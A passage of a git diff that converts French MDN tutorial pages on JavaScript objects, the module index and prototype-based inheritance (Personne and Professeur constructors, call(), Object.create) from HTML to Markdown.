l'avez utilisée tout au long du cours ! À chaque fois que vous avez travaillé avec un exemple qui utilise une API ou un objet JavaScript natif, nous avons utilisé des objets. Ces fonctionnalités sont construites exactement comme les objets que nous avons manipulés ici, mais sont parfois plus complexes que dans nos exemples.</p> +Tout au long de ces exemples, vous vous êtes probablement dit que la notation avec un point vous était très familière. C'est parce que vous l'avez utilisée tout au long du cours ! À chaque fois que vous avez travaillé avec un exemple qui utilise une API ou un objet JavaScript natif, nous avons utilisé des objets. Ces fonctionnalités sont construites exactement comme les objets que nous avons manipulés ici, mais sont parfois plus complexes que dans nos exemples. -<p>Ainsi, quand vous utilisez une méthode comme :</p> +Ainsi, quand vous utilisez une méthode comme : -<pre class="brush: js">maChaineDeCaracteres.split(',');</pre> +```js +maChaineDeCaracteres.split(','); +``` -<p>Vous utilisez une méthode disponible dans une instance du type {{jsxref("String")}}. Dès que vous créez une chaîne de caractères dans votre code, cette chaîne est automatiquement créée comme une instance de <code>String</code> et possède donc plusieurs méthodes/propriétés communes.</p> +Vous utilisez une méthode disponible dans une instance du type {{jsxref("String")}}. Dès que vous créez une chaîne de caractères dans votre code, cette chaîne est automatiquement créée comme une instance de `String` et possède donc plusieurs méthodes/propriétés communes. -<p>Quand vous accédez au DOM (<em>Document Object Model</em> ou « modèle objet du document ») avec <code>document</code> et des lignes telles que :</p> +Quand vous accédez au DOM (_Document Object Model_ ou « modèle objet du document ») avec `document` et des lignes telles que : -<pre class="brush: js">var monDiv = document.createElement('div'); -var maVideo = document.querySelector('video');</pre> +```js +var monDiv = document.createElement('div'); +var maVideo = document.querySelector('video'); +``` -<p>Vous utilisez une méthode disponible dans l'instance de la classe {{domxref("Document")}}. Pour chaque page web chargée, une instance de <code>Document</code> est créée, appelée <code>document</code> et qui représente la structure entière de la page, son contenu et d'autres caractéristiques telles que son URL. Encore une fois, cela signifie qu'elle possède plusieurs méthodes/propriétés communes.</p> +Vous utilisez une méthode disponible dans l'instance de la classe {{domxref("Document")}}. Pour chaque page web chargée, une instance de `Document` est créée, appelée `document` et qui représente la structure entière de la page, son contenu et d'autres caractéristiques telles que son URL. Encore une fois, cela signifie qu'elle possède plusieurs méthodes/propriétés communes. -<p>C'est également vrai pour beaucoup d'autres objets/API natifs que vous avez utilisé — {{jsxref("Array")}}, {{jsxref("Math")}}, etc.</p> +C'est également vrai pour beaucoup d'autres objets/API natifs que vous avez utilisé — {{jsxref("Array")}}, {{jsxref("Math")}}, etc. -<p>On notera que les objets/API natifs ne créent pas toujours automatiquement des instances d'objet. Par exemple, <a href="/fr/docs/Web/API/Notifications_API">l'API Notifications</a> — qui permet aux navigateurs modernes de déclencher leurs propres notifications — vous demande d'instancier vous-même une nouvelle instance d'objet en utilisant le constructeur pour chaque notification que vous souhaitez lancer. Essayez d'entrer le code ci-dessous dans la console JavaScript :</p> +On notera que les objets/API natifs ne créent pas toujours automatiquement des instances d'objet. Par exemple, [l'API Notifications](/fr/docs/Web/API/Notifications_API) — qui permet aux navigateurs modernes de déclencher leurs propres notifications — vous demande d'instancier vous-même une nouvelle instance d'objet en utilisant le constructeur pour chaque notification que vous souhaitez lancer. Essayez d'entrer le code ci-dessous dans la console JavaScript : -<pre class="brush: js">var maNotification = new Notification('Bonjour !');</pre> +```js +var maNotification = new Notification('Bonjour !'); +``` -<p>Nous verrons les constructeurs dans un prochain article.</p> +Nous verrons les constructeurs dans un prochain article. -<div class="note"> -<p><strong>Note :</strong> On peut voir le mode de communication des objets comme un <strong>envoi de message</strong>. Quand un objet a besoin d'un autre pour faire une action, souvent il va envoyer un message à un autre objet via l'une de ses méthode et attendre une réponse, qui retournera une valeur.</p> -</div> +> **Note :** On peut voir le mode de communication des objets comme un **envoi de message**. Quand un objet a besoin d'un autre pour faire une action, souvent il va envoyer un message à un autre objet via l'une de ses méthode et attendre une réponse, qui retournera une valeur. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Félicitations, vous avez terminé notre premier article sur les objets JavaScript — vous devriez maintenant mieux comprendre comment on travaille avec des objets en JavaScript. Vous avez pu créer vos propres objets basiques. Vous devriez aussi voir que les objets sont très pratiques pour stocker des données et des fonctionnalités. Si on ne passe pas par un objet et qu'on a une variable différente pour chaque propriété et méthode de notre objet <code>personne</code>, cela sera inefficace et frustrant et vous prendrez le risque de créer des conflits avec d'autres variables et fonctions du même nom.</p> +Félicitations, vous avez terminé notre premier article sur les objets JavaScript — vous devriez maintenant mieux comprendre comment on travaille avec des objets en JavaScript. Vous avez pu créer vos propres objets basiques. Vous devriez aussi voir que les objets sont très pratiques pour stocker des données et des fonctionnalités. Si on ne passe pas par un objet et qu'on a une variable différente pour chaque propriété et méthode de notre objet `personne`, cela sera inefficace et frustrant et vous prendrez le risque de créer des conflits avec d'autres variables et fonctions du même nom. -<p>Les objets permettent de conserver les informations de façon sûre, enfermées dans leur propre « paquet », hors de danger.</p> +Les objets permettent de conserver les informations de façon sûre, enfermées dans leur propre « paquet », hors de danger. -<p>Dans le prochain article, nous commencerons à voir la théorie de la programmation orientée objet (POO) et comment utiliser ces techniques en JavaScript.</p> +Dans le prochain article, nous commencerons à voir la théorie de la programmation orientée objet (POO) et comment utiliser ces techniques en JavaScript. -<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p> +{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/javascript/objects/index.md b/files/fr/learn/javascript/objects/index.md index 5c7aed54cd..ae25197ce7 100644 --- a/files/fr/learn/javascript/objects/index.md +++ b/files/fr/learn/javascript/objects/index.md @@ -12,59 +12,39 @@ tags: - Tutoriel translation_of: Learn/JavaScript/Objects --- -<div> -<div>{{JsSidebar}}</div> +{{JsSidebar}}{{PreviousNext("Apprendre/JavaScript/Building_blocks", "Learn/JavaScript/Objects/Basics")}} -<div>{{PreviousNext("Apprendre/JavaScript/Building_blocks", "Learn/JavaScript/Objects/Basics")}}</div> -</div> +En JavaScript, la plupart des choses sont des objets, des éléments du cœur de JavaScript, comme les chaînes de caractères et les tableaux, aux interfaces de programmation (APIs) des navigateurs construites sur la base de JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions liées et des variables au sein de paquets efficaces, et se comportant comme des conteneurs de données. Il est important de comprendre la nature orientée objet du JavaScript si vous souhaitez aller loin dans votre connaissance du langage, aussi, avons-nous fourni ce module afin de vous aider. Ici, nous enseignons la théorie de l’objet et sa syntaxe en détail, ensuite, ce sera à vous de voir comment vous souhaitez créer vos propres objets. -<p>En JavaScript, la plupart des choses sont des objets, des éléments du cœur de JavaScript, comme les chaînes de caractères et les tableaux, aux interfaces de programmation (APIs) des navigateurs construites sur la base de JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions liées et des variables au sein de paquets efficaces, et se comportant comme des conteneurs de données. Il est important de comprendre la nature orientée objet du JavaScript si vous souhaitez aller loin dans votre connaissance du langage, aussi, avons-nous fourni ce module afin de vous aider. Ici, nous enseignons la théorie de l’objet et sa syntaxe en détail, ensuite, ce sera à vous de voir comment vous souhaitez créer vos propres objets. </p> +## Prérequis -<h2 id="Prérequis">Prérequis</h2> +Avant de commencer ce module, vous devriez avoir quelques familiarités avec le HTML et le CSS. Il serait raisonnable de travailler sur les modules [Introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) et [Introduction au CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS) avant de commencer avec le JavaScript. -<p>Avant de commencer ce module, vous devriez avoir quelques familiarités avec le HTML et le CSS. Il serait raisonnable de travailler sur les modules <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a> et <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">Introduction au CSS</a> avant de commencer avec le JavaScript.</p> +Vous devriez également être familiarisé avec les bases du JavaScript avant de poursuivre en détails avec les objets JavaScript. Avant de commencer ce module, travaillez sur [Premiers pas avec JavaScript](/fr/docs/Learn/JavaScript/First_steps) et [Les blocs de construction en JavaScript](/fr/Apprendre/JavaScript/Building_blocks). -<p>Vous devriez également être familiarisé avec les bases du JavaScript avant de poursuivre en détails avec les objets JavaScript. Avant de commencer ce module, travaillez sur <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas avec JavaScript</a> et <a href="/fr/Apprendre/JavaScript/Building_blocks">Les blocs de construction en JavaScript</a>.</p> +> **Note :** Si vous travaillez sur un ordinateur, une tablette ou un autre appareil où vous n’avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer les (la plupart des) exemples de code grâce à un programme en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur, une tablette ou un autre appareil où vous n’avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer les (la plupart des) exemples de code grâce à un programme en ligne comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +## Guides -<h2 id="Guides">Guides</h2> +- [Les bases de JavaScript orienté objet](/fr/docs/Learn/JavaScript/Objects/Basics) + - : Dans le premier article concernant les objets JavaScript, nous découvrirons la syntaxe fondamentale d’un objet JavaScript, et nous revisiterons certaines fonctionnalités du JavaScript que nous avions vues précédemment dans le cours, en insistant sur le fait que bon nombre d'éléments précedemment abordés sont en fait des objets. -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/Basics">Les bases de JavaScript orienté objet</a></dt> - <dd>Dans le premier article concernant les objets JavaScript, nous découvrirons la syntaxe fondamentale d’un objet JavaScript, et nous revisiterons certaines fonctionnalités du JavaScript que nous avions vues précédemment dans le cours, en insistant sur le fait que bon nombre d'éléments précedemment abordés sont en fait des objets.</dd> -</dl> +<!----> -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/JS_orient%C3%A9-objet">JavaScript orienté objet pour les débutants</a></dt> - <dd> - <p>Après avoir vu les notions de base, nous nous pencherons sur le JavaScript orienté objet (JSOO) — cet article présente une vue basique de la théorie de la programmation orientée objet (POO), et explore ensuite comment le JavaScript émule les classes d’objet via les fonctions des constructeurs et comment créer des instances d’objet.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/Prototypes_Objet">Objets prototypes</a></dt> - <dd> - <p>Les prototypes sont des mécanismes par lesquels les objets JavaScript héritent les fonctionnalités d’un autre objet, et ils fonctionnent différemment des mécanismes d’héritage des langages classiques de programmation orientée objet. Dans cet article, nous explorons cette différence, expliquant comment les chaînes de prototypes fonctionnent et jetant un regard sur comment la propriété prototype peut être utilisée pour ajouter des méthodes aux constructeurs existants.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/Heritage">L’héritage au sein de JavaScript</a></dt> - <dd> - <p>Avec la plupart des redoutables détails du JSOO maintenant expliqués, cet article montre comment créer les classes (constructeurs) d’objet “enfant” qui héritent des fonctionnalités de leur classes “parents”. De plus, nous présentons certains conseils sur où et comment utiliser le JSOO.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/JSON">Manipuler des données JSON</a></dt> - <dd> - <p>JavaScript Object Notation (JSON) est un format standard pour la représentation de données structurées comme les objets JavaScript, qui est communément utilisé pour représenter et transmettre les données sur les sites web (ex. : Envoyer certaines données du serveur au client, afin d’être affichées sur une page web). Vous le rencontrerez assez souvent. Aussi, dans cet article, nous vous donnons tout ce dont vous avez besoin pour travailler avec le format JSON utilisant le JavaScript, incluant l’accès aux éléments des données dans un objet JSON et l’écriture de votre propre JSON.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/Object_building_practice">Pratiques sur la construction d’objet</a></dt> - <dd> - <p>Dans l’article précédent nous avons fait le tour de l’essentiel de la théorie de l’objet JavaScript et les détails de sa syntaxe, vous donnant ainsi une solide base sur laquelle débuter. Dans cet article nous plongeons dans un exercice, vous donnant plus de pratique dans la construction d’objets JavaScript personnalisés, qui produisent quelque chose d’amusant et de plus coloré — quelques balles colorées et bondissantes.</p> - </dd> -</dl> +- [JavaScript orienté objet pour les débutants](/fr/docs/Learn/JavaScript/Objects/JS_orient%C3%A9-objet) + - : Après avoir vu les notions de base, nous nous pencherons sur le JavaScript orienté objet (JSOO) — cet article présente une vue basique de la théorie de la programmation orientée objet (POO), et explore ensuite comment le JavaScript émule les classes d’objet via les fonctions des constructeurs et comment créer des instances d’objet. +- [Objets prototypes](/fr/docs/Learn/JavaScript/Objects/Prototypes_Objet) + - : Les prototypes sont des mécanismes par lesquels les objets JavaScript héritent les fonctionnalités d’un autre objet, et ils fonctionnent différemment des mécanismes d’héritage des langages classiques de programmation orientée objet. Dans cet article, nous explorons cette différence, expliquant comment les chaînes de prototypes fonctionnent et jetant un regard sur comment la propriété prototype peut être utilisée pour ajouter des méthodes aux constructeurs existants. +- [L’héritage au sein de JavaScript](/fr/docs/Learn/JavaScript/Objects/Heritage) + - : Avec la plupart des redoutables détails du JSOO maintenant expliqués, cet article montre comment créer les classes (constructeurs) d’objet “enfant” qui héritent des fonctionnalités de leur classes “parents”. De plus, nous présentons certains conseils sur où et comment utiliser le JSOO. +- [Manipuler des données JSON](/fr/docs/Learn/JavaScript/Objects/JSON) + - : JavaScript Object Notation (JSON) est un format standard pour la représentation de données structurées comme les objets JavaScript, qui est communément utilisé pour représenter et transmettre les données sur les sites web (ex. : Envoyer certaines données du serveur au client, afin d’être affichées sur une page web). Vous le rencontrerez assez souvent. Aussi, dans cet article, nous vous donnons tout ce dont vous avez besoin pour travailler avec le format JSON utilisant le JavaScript, incluant l’accès aux éléments des données dans un objet JSON et l’écriture de votre propre JSON. +- [Pratiques sur la construction d’objet](/fr/docs/Learn/JavaScript/Objects/Object_building_practice) + - : Dans l’article précédent nous avons fait le tour de l’essentiel de la théorie de l’objet JavaScript et les détails de sa syntaxe, vous donnant ainsi une solide base sur laquelle débuter. Dans cet article nous plongeons dans un exercice, vous donnant plus de pratique dans la construction d’objets JavaScript personnalisés, qui produisent quelque chose d’amusant et de plus coloré — quelques balles colorées et bondissantes. -<h2 id="Auto-évaluation">Auto-évaluation</h2> +## Auto-évaluation -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Ajoutez des fonctionnalités à notre démo des ballons bondissants</a></dt> - <dd>Dans cette évaluation, vous devrez utiliser la démo des balles bondissantes de l’article précédent comme un point de départ et y ajouter quelques nouvelles et intéressantes fonctionnalités.</dd> -</dl> +- [Ajoutez des fonctionnalités à notre démo des ballons bondissants](/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features) + - : Dans cette évaluation, vous devrez utiliser la démo des balles bondissantes de l’article précédent comme un point de départ et y ajouter quelques nouvelles et intéressantes fonctionnalités. -<p>{{PreviousNext("Apprendre/JavaScript/Building_blocks", "JavaScript/Guide")}} </p> +{{PreviousNext("Apprendre/JavaScript/Building_blocks", "JavaScript/Guide")}} diff --git a/files/fr/learn/javascript/objects/inheritance/index.md b/files/fr/learn/javascript/objects/inheritance/index.md index ededf06c2e..89668811fa 100644 --- a/files/fr/learn/javascript/objects/inheritance/index.md +++ b/files/fr/learn/javascript/objects/inheritance/index.md @@ -14,248 +14,245 @@ tags: translation_of: Learn/JavaScript/Objects/Inheritance original_slug: Learn/JavaScript/Objects/Heritage --- -<div> -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}} -<p>Les présentations ayant été faites pour les concepts du JavaScript orienté objet, cet article détaille comment il est possible de créer une classe fille qui hérite des propriétés de sa classe mère. Nous verrons ensuite quelques conseils quant à l'utilisation du JavaScript orienté objet.</p> +Les présentations ayant été faites pour les concepts du JavaScript orienté objet, cet article détaille comment il est possible de créer une classe fille qui hérite des propriétés de sa classe mère. Nous verrons ensuite quelques conseils quant à l'utilisation du JavaScript orienté objet. <table> - <tbody> - <tr> - <th scope="row">Pré-requis :</th> - <td>Une connaissance générale de l'informatique, des notions d'HTML et CSS, une connaissance des bases en JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">Blocs de construction</a>) ainsi que des notions de JavaScript orienté objet (JSOO) (voir <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction aux objets</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment implémenter l'héritage en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis :</th> + <td> + Une connaissance générale de l'informatique, des notions d'HTML et CSS, + une connaissance des bases en JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et + <a href="/fr/docs/Learn/JavaScript/Building_blocks" + >Blocs de construction</a + >) ainsi que des notions de JavaScript orienté objet (JSOO) (voir + <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction" + >Introduction aux objets</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Comprendre comment implémenter l'héritage en JavaScript.</td> + </tr> + </tbody> </table> -<h2 id="Héritage_prototypique">Héritage prototypique</h2> +## Héritage prototypique -<p>Nous avons déjà vu le concept d'héritage en action, nous avons vu comment la chaîne de prototypage fonctionnait, et comment les propriétés de cette chaîne sont lues de manière ascendante. En revanche,nous n'avons utilisé pratiquement que quelques fonctionnalités déjà intégrées dans le navigateur pour le faire. Comment créer un objet JavaScript qui hérite d'un autre objet ?</p> +Nous avons déjà vu le concept d'héritage en action, nous avons vu comment la chaîne de prototypage fonctionnait, et comment les propriétés de cette chaîne sont lues de manière ascendante. En revanche,nous n'avons utilisé pratiquement que quelques fonctionnalités déjà intégrées dans le navigateur pour le faire. Comment créer un objet JavaScript qui hérite d'un autre objet ? -<p>Certains pensent que JavaScript n'est pas un véritable langage orienté objet. Dans les langages orientés objets classiques, on définit des classes objet et on peut ensuite définir laquelle hérite d'une autre (voir <a href="http://www.tutorialspoint.com/cplusplus/cpp_inheritance.htm">C++ inheritance</a> en anglais pour des exemples simples). JavasScript utilise une approche différente : les objets héritant d'un autre n'ont pas de fonctionnalités copiées d'un autre objet, au lieu de ça, ils héritent des fonctionnalités via les liens de la chaîne de prototypage (on parle alors d'un <strong>héritage prototypique</strong>).</p> +Certains pensent que JavaScript n'est pas un véritable langage orienté objet. Dans les langages orientés objets classiques, on définit des classes objet et on peut ensuite définir laquelle hérite d'une autre (voir [C++ inheritance](http://www.tutorialspoint.com/cplusplus/cpp_inheritance.htm) en anglais pour des exemples simples). JavasScript utilise une approche différente : les objets héritant d'un autre n'ont pas de fonctionnalités copiées d'un autre objet, au lieu de ça, ils héritent des fonctionnalités via les liens de la chaîne de prototypage (on parle alors d'un **héritage prototypique**). -<p>Voyons comment cela se passe avec un exemple concret.</p> +Voyons comment cela se passe avec un exemple concret. -<h2 id="Pour_commencer">Pour commencer</h2> +## Pour commencer -<p>Tout d'abord, faites une copie du fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (voir la <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">démo</a>). Vous y trouverez le constructeur <code>Personne()</code> que nous avons utilisé jusque là dans l'ensemble des modules, néanmoins il y a un léger changement : nous n'avons défini que les attributs au sein du constructeur.</p> +Tout d'abord, faites une copie du fichier [oojs-class-inheritance-start.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html) (voir la [démo](https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html)). Vous y trouverez le constructeur `Personne()` que nous avons utilisé jusque là dans l'ensemble des modules, néanmoins il y a un léger changement : nous n'avons défini que les attributs au sein du constructeur. -<pre>function Personne(prenom, nom, age, genre, interets) { - this.nom = { - prenom, - nom - }; - this.age = age; - this.genre = genre; - this.interets = interets; -};</pre> + function Personne(prenom, nom, age, genre, interets) { + this.nom = { + prenom, + nom + }; + this.age = age; + this.genre = genre; + this.interets = interets; + }; -<p>L'ensemble des méthodes est défini dans le prototype :</p> +L'ensemble des méthodes est défini dans le prototype : -<pre>Personne.prototype.saluer = function() { - alert('Salut! Je suis ' + this.nom.prenom + '.'); -};</pre> + Personne.prototype.saluer = function() { + alert('Salut! Je suis ' + this.nom.prenom + '.'); + }; -<p>Essayons de créer une classe <code>Professeur</code> similaire à celle que nous avons utilisée jusqu'ici dans les autres modules d'initiations à l'approche objet. Ainsi, cette classe hérite de <code>Personne</code> mais possède aussi :</p> +Essayons de créer une classe `Professeur` similaire à celle que nous avons utilisée jusqu'ici dans les autres modules d'initiations à l'approche objet. Ainsi, cette classe hérite de `Personne` mais possède aussi : -<ol> - <li>Un nouvel attribut <code>matière</code> — qui contiendra la matière que le professeur enseigne.</li> - <li>Une méthode <code>saluer</code> un peu plus élaborée, qui sera un peu plus formelle que la méthode de base, cela sera plus approprié, lorsque le professeur s'adrressera à des étudiants, par exemple.</li> -</ol> +1. Un nouvel attribut `matière` — qui contiendra la matière que le professeur enseigne. +2. Une méthode `saluer` un peu plus élaborée, qui sera un peu plus formelle que la méthode de base, cela sera plus approprié, lorsque le professeur s'adrressera à des étudiants, par exemple. -<h2 id="Définissons_le_constructeur_Professeur()">Définissons le constructeur Professeur()</h2> +## Définissons le constructeur Professeur() -<p>La première chose à faire est de créer le constructeur <code>Professeur()</code> via l'ajout du code suivant :</p> +La première chose à faire est de créer le constructeur `Professeur()` via l'ajout du code suivant : -<pre>function Professeur(prenom, nom, age, genre, interets, matiere) { - Personne.call(this, prenom, nom, age, genre, interets); + function Professeur(prenom, nom, age, genre, interets, matiere) { + Personne.call(this, prenom, nom, age, genre, interets); - this.matiere = matiere; -}</pre> + this.matiere = matiere; + } -<p>Cela ressemble beaucoup au constructeur <code>Personne</code> mais il y a quelque chose que nous n'avons pas encore vu : la fonction <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>. Cette fonction permet d'appeler une fonction définie ailleurs dans le contexte actuel. Le premier paramètre spécifie la valeur de <code>this</code> que l'on souhaite utiliser lors que l'on utilisera la fonction, les paramètres suivants seront les paramètres qui pourront être passés en arguments lorsqu'elle sera appelée.</p> +Cela ressemble beaucoup au constructeur `Personne` mais il y a quelque chose que nous n'avons pas encore vu : la fonction [`call()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/call). Cette fonction permet d'appeler une fonction définie ailleurs dans le contexte actuel. Le premier paramètre spécifie la valeur de `this` que l'on souhaite utiliser lors que l'on utilisera la fonction, les paramètres suivants seront les paramètres qui pourront être passés en arguments lorsqu'elle sera appelée. -<p>Nous voulons que le constructeur <code>Professeur()</code> aie les mêmes attributs que <code>Personne()</code>, nous les spécifions donc dans l'appel fait via la fonction <code>call()</code>.</p> +Nous voulons que le constructeur `Professeur()` aie les mêmes attributs que `Personne()`, nous les spécifions donc dans l'appel fait via la fonction `call()`. -<p>La dernière ligne au sein du constructeur sert simplement à définir l'attribut <code>matière</code> que les professeurs enseignent, ce qui n'est pas valable pour les personnes génériques.</p> +La dernière ligne au sein du constructeur sert simplement à définir l'attribut `matière` que les professeurs enseignent, ce qui n'est pas valable pour les personnes génériques. -<p>Notez que nous aurions très bien pu écrire tout simplement ceci :</p> +Notez que nous aurions très bien pu écrire tout simplement ceci : -<pre>function Professeur(prenom, nom, age, genre, interets, matiere) { - this.nom_complet = { - prenom, - nom - }; - this.age = age; - this.genre = genre; - this.interets = interets; - this.matiere = matiere; -}</pre> + function Professeur(prenom, nom, age, genre, interets, matiere) { + this.nom_complet = { + prenom, + nom + }; + this.age = age; + this.genre = genre; + this.interets = interets; + this.matiere = matiere; + } -<p>Cependant cela aurait eu pour effet de redéfinir les attributs à nouveau, sans les hériter de <code>Personne()</code>, ce qui n'est pas vraiment le but que nous voulons atteindre lorsque l'on parle de l'héritage, cela rajoute aussi des lignes de code inutiles.</p> +Cependant cela aurait eu pour effet de redéfinir les attributs à nouveau, sans les hériter de `Personne()`, ce qui n'est pas vraiment le but que nous voulons atteindre lorsque l'on parle de l'héritage, cela rajoute aussi des lignes de code inutiles. -<p> </p> -<h3 id="Hériter_d'un_constructeur_sans_paramètres">Hériter d'un constructeur sans paramètres</h3> -<p>Notez que si les valeurs des propriétés du constructeur dont vous héritez ne proviennent pas de paramètres, vous n'avez nullement besoin de les specifier comme arguments additionnels dans l'appel de la fonction <code>call()</code>. Donc, par exemple, si vous avez quelque chose d'aussi simple que ceci :</p> +### Hériter d'un constructeur sans paramètres -<pre class="brush: js">function Brick() { +Notez que si les valeurs des propriétés du constructeur dont vous héritez ne proviennent pas de paramètres, vous n'avez nullement besoin de les specifier comme arguments additionnels dans l'appel de la fonction `call()`. Donc, par exemple, si vous avez quelque chose d'aussi simple que ceci : + +```js +function Brick() { this.width = 10; this.height = 20; -}</pre> +} +``` -<p>Vous pouvez hériter des propriétés <code>width</code> et <code>height</code> en procédant comme ceci (Mais également en suivant bien sûr les différentes étapes décrites ci dessous) :</p> +Vous pouvez hériter des propriétés `width` et `height` en procédant comme ceci (Mais également en suivant bien sûr les différentes étapes décrites ci dessous) : -<pre class="brush: js">function BlueGlassBrick() { +```js +function BlueGlassBrick() { Brick.call(this); this.opacity = 0.5; this.color = 'blue'; -}</pre> +} +``` + +Notez que nous n'avons spécifié que `this` au sein de `call()` — Aucun autre paramètre n'est requis puisque nous n'héritons ici d'aucune propriété provenant de la classe parente qui soit spécifiée via paramètres. + +## Définir le prototype de Professeur() et son constructeur référent. -<p>Notez que nous n'avons spécifié que <code>this</code> au sein de <code>call()</code> — Aucun autre paramètre n'est requis puisque nous n'héritons ici d'aucune propriété provenant de la classe parente qui soit spécifiée via paramètres. </p> +Pour le moment tout va bien, mais nous avons un petit problème. Nous avons défini un nouveau constructeur et ce dernier possède une propriété `prototype`, qui par défaut ne contient qu'une référence à la fonction constructrice elle même. En revanche il ne contient pas les méthodes de la propriété `prototype` du constructeur `Personne()`. Pour le constater, vous pouvez par exemple entrer `Professeur.prototype.constructor` dans la console JavaScript pour voir ce qu'il en est. Le nouveau constructeur n'a en aucun cas hérité de ces méthodes. Pour le constater, comparez les sorties de `Personne.prototype.saluer` et de `Professeur.prototype.saluer` -<h2 id="Définir_le_prototype_de_Professeur()_et_son_constructeur_référent.">Définir le prototype de Professeur() et son constructeur référent.</h2> +Notre classe `Professeur()` doit hériter des méthodes définies dans le prototype de `Personne()`. Aussi comment procéder pour obtenir ce résultat ? -<p>Pour le moment tout va bien, mais nous avons un petit problème. Nous avons défini un nouveau constructeur et ce dernier possède une propriété <code>prototype</code>, qui par défaut ne contient qu'une référence à la fonction constructrice elle même. En revanche il ne contient pas les méthodes de la propriété <code>prototype</code> du constructeur <code>Personne()</code>. Pour le constater, vous pouvez par exemple entrer <code>Professeur.prototype.constructor</code> dans la console JavaScript pour voir ce qu'il en est. Le nouveau constructeur n'a en aucun cas hérité de ces méthodes. Pour le constater, comparez les sorties de <code>Personne.prototype.saluer</code> et de <code>Professeur.prototype.saluer</code></p> +Ajoutez la ligne suivante à la suite du bloc de code que nous venons d'ajouter : -<p>Notre classe <code>Professeur()</code> doit hériter des méthodes définies dans le prototype de <code>Personne()</code>. Aussi comment procéder pour obtenir ce résultat ?</p> + Professeur.prototype = Object.create(Personne.prototype); -<p>Ajoutez la ligne suivante à la suite du bloc de code que nous venons d'ajouter :</p> +1. Ici, notre ami [`create()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create) vient nous aider à nouveau. Dans ce cas, on l'utilise afin de créer un nouvel objet que nous assignons à `Professeur.prototype`. Le nouvel objet possède `Personne.prototype` désormais comme son prototype et héritera ainsi, si et quand le besoin se fera sentir, de toutes les méthodes disponible sur `Personne.prototype`. +2. Nous avons également besoin de faire encore une chose avant de continuer. Après avoir ajouté la ligne précédente, le constructeur du prototype de `Professeur()` est désormais équivalent à celui de `Personne()`, parce que nous avons défini `Professeur.prototype` pour référencer un objet qui hérite ses propriétés de `Personne.prototype` ! Essayez, après avoir sauvegardé votre code et rechargé la page, d'entrer `Professeur.prototype.constructor` dans la console pour vérifier. +3. Cela peut devenir problématique, autant le corriger dès maintenant. C'est possible via l'ajout de la ligne de code suivante à la fin : -<pre>Professeur.prototype = Object.create(Personne.prototype);</pre> + Professeur.prototype.constructor = Professeur; -<ol> - <li>Ici, notre ami <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> vient nous aider à nouveau. Dans ce cas, on l'utilise afin de créer un nouvel objet que nous assignons à <code>Professeur.prototype</code>. Le nouvel objet possède <code>Personne.prototype</code> désormais comme son prototype et héritera ainsi, si et quand le besoin se fera sentir, de toutes les méthodes disponible sur <code>Personne.prototype</code>. </li> - <li>Nous avons également besoin de faire encore une chose avant de continuer. Après avoir ajouté la ligne précédente, le constructeur du prototype de <code>Professeur()</code> est désormais équivalent à celui de <code>Personne()</code>, parce que nous avons défini <code>Professeur.prototype</code> pour référencer un objet qui hérite ses propriétés de <code>Personne.prototype</code> ! Essayez, après avoir sauvegardé votre code et rechargé la page, d'entrer <code>Professeur.prototype.constructor</code> dans la console pour vérifier.</li> - <li>Cela peut devenir problématique, autant le corriger dès maintenant. C'est possible via l'ajout de la ligne de code suivante à la fin : - <pre>Professeur.prototype.constructor = Professeur;</pre> - </li> - <li> - <p>A présent, si vous sauvegardez et rafraichissez après avoir écrit 